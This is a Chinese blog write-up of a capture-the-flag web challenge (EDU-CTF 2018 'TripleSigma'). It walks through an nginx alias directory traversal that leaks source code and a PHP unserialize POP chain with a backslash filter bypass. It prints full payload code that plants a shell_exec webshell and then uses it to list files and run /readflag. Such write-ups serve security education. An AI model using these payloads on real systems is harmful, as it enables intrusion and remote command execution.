羊毛 | 寫 Code 雜談

願如同童話裡的山羊般咀嚼知識

0%

EDU-CTF 2018 - TripleSigma

這題包含很多知識,在做的時候查很多資料而收穫良多,從 nginx 漏洞到 PHP POP 都有。推薦大家先自己做做看!因為很有趣,從 22:00 解到 07:00 …

[正文]

先觀察頁面有沒有漏洞,初步觀察後發現是用 nginx 架設,有 static 子目錄,推測有 nginx 路徑漏洞,網址輸入:http://final.kaibro.tw:10004/static../,成功拿到 source code。

Nginx 目錄穿越漏洞

常見於 Nginx 做 Reverse Proxy 的狀況,例如 config 設置 location /files { alias /home/ }
會因為 /files 沒有加上結尾 / ,而 /home/ 有,所以 /files../ 可以訪問上層目錄

site
├── static
│ ├── ...
│ └── js
│ └── k.js
├── lib
│ ├── class_articlebody.php
│ ├── class_article.php
│ ├── class_avatar.php
│ ├── class_cookie.php
│ ├── class_debug.php
│ ├── class_filemanager.php
│ ├── class_oldfm.php
│ ├── class_user.php
│ ├── ...
├── avatar.php
├── blog.php
├── footer.php
├── header.php
├── index.php
├── joinus.php
├── login.php
├── logout.php
├── register.php
├── team.php
└── user.php

class_oldfm.php 很坑,裡面滿滿的漏洞,但是沒有被引用 QQ,另外 k.js 的內容是 Konami Code ( ⇧⇧⇩⇩⇦⇨⇦⇨ⒷⒶ ) 的梗,輸入後會在 console 印奇怪的訊息

Analysis

首先可以發現在 class_user.php 裡可以找到 username 和 password,先登入看看,可以發現 blog 頁面可以留言了。不知道能幹麻,先放著。先搜尋可能有漏洞的函式:

file_get_contents 和 file_put_contents

  1. 發現 OldFileManager 可以用,但是 trace 一下發現他根本沒有被 include..
  2. 參數都不可控制,死路。

unserialize

  1. 發現在 class_cookie.phpMyCookie::__construct()unserialize(),參數可以藉由 $_cookie["e"] 來控制

    class_cookie.php
    7
    8
    9
    $enc = $_COOKIE['e'];
    $dec = base64_decode(strrev($enc));
    $arr = explode("|", $dec); // 可以構造成 “1234|payload”
  2. unserialize 後的 object 會 assign 給 $this->article

    class_cookie.php
    23
    24
    25
    26
    27
    if(count($arr) === 2) {
    $this->uid = $arr[0];
    $obj = unserialize($arr[1]);
    $this->article = $obj;
    }
  3. blog.php 發現它 new MyCookie() 後使用 MyCookie::restore()

    blog.php
    64
    65
    66
    67
    68
    69
    if(isset($_COOKIE['e'])) {
    $myck = new MyCookie();
    $r = $myck->restore();
    } else {
    $r = NULL;
    }
  4. 回到 class_cookie.php 查看,可以發現 MyCookie::restore() 回傳的就是可以控制的 $this->article,表示我們也能夠控制 blog.php$r

    class_cookie.php
    36
    37
    38
    39
    40
    41
    public function restore() {
    if($this->uid !== NULL && $this->article !== NULL)
    return $this->article;
    else
    return NULL;
    }
  5. blog.php 裡面繼續往下發現 $r 會被丟進 print_title($r)print_content($r),這兩個都會 echo $r->body->title,找找看其他 class 有沒有好用的 __toString 可以用

    blog.php
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    function print_title($r) {
    if(isset($r)) {
    echo $r->body->title;
    }
    }

    function print_content($r) {
    if(isset($r)) {
    echo $r->body->content;
    }
    }
  6. 不難發現只有 class_debug.phpDebug::__toString() 能夠使用,其他的都沒有在額外 call function,找找看其他 class 有沒有好用的 save() 可以用

    class_debug.php
    12
    13
    14
    15
    16
    function __toString() {
    $str = "[DEUBG]" . $msg;
    $this->fm->save();
    return $str;
    }
  7. class_filemanager.php, class_article.php, class_user.php 都有發現save()

    • class_filemanager.php, class_article.phpsave(),雖然都有 file_put_contents,但參數都不可控,死路。
    • 剩下 class_user.phpsave(),可以發現 ($this->func)($this->data)$this->func$this->data 都可以透過 unserialize() 的時候就控制到!
      class_user.php
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      public function save() {
      if(!isset($this->data))
      $this->data = User::getAllUser();

      if(preg_match("/^[a-z]/is", $this->func)) {
      if($this->func === "shell_exec") {
      ($this->func)("echo " . escapeshellarg($this->data) . " > /tmp/result");
      }
      } else {
      ($this->func)($this->data);
      }
      }
  8. 剩下如何 bypass preg_match("/^[a-z]/is", $this->func),找了一些資料後後發現加入反斜線可以成功 bypass: $func = '\shell_exec'

    PHP Global space

    在 PHP ( >= 5.3.0, 7) 中在名稱前加上前綴 \ 表示該名稱是全局空間中的名稱,是合法的 syntax。

  9. 整個 POPchain:Article.body -> ArticleBody.content -> Debug.__toString() -> User.save()

Create payload

  1. 因為他是直接 ($this->func)($this->data) 不會 echo 出來,所以必須想辦法找到可讀寫的地方,在 class_article.php 下發現 /var/www/app/articles/ 這個路徑,看起來可讀寫,建立 webshell payload:$data = 'echo \'<?=shell_exec($_GET[0]);?>\' >/var/www/app/articles/<name>.php'

    payload.php
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    <?php
    include("lib/class_article.php");
    include("lib/class_articlebody.php");
    include("lib/class_cookie.php");
    include("lib/class_user.php");
    include("lib/class_debug.php");
    include("lib/class_filemanager.php");


    $title = "title";
    $content = new Debug("content");
    $content->fm = new User();
    $content->fm->func = "\shell_exec";
    $content->fm->data = "echo \'<?=shell_exec($_GET[0]);?>\' >/var/www/app/articles/VHJpcGxlIFNpZ21hIH.php";

    $article = new Article( $title, $content );
    $article->author = "article";

    echo strrev( base64_encode( "1234|" . serialize( $article ) ) );

Get shell

  1. 執行 php payload.php 後得到的 payload 丟進 cookie[e],重整後到 webshell 的頁面。

    $ php payload.php
    =0Xf913OiAHaw5CaFlmYxo1RJBjVul1ZR12Yoh2RJZnTIlEaxIjWw5kRJ ...
    Http request
    http://final.kaibro.tw:10004/articles/VHJpcGxlIFNpZ21hIH.php
    GET 0=ls%20/ # 發現 _fl4g___yo, readflag
    GET 0=ls%20-al%20%2F # 發現 _fl4g___yo 沒辦法 cat
    GET 0=/readflag # 直接執行 readflag -> get flag

FLAG: FLAG{b4d_ng1nx_4nd_l0000ng_p0p_cha1n}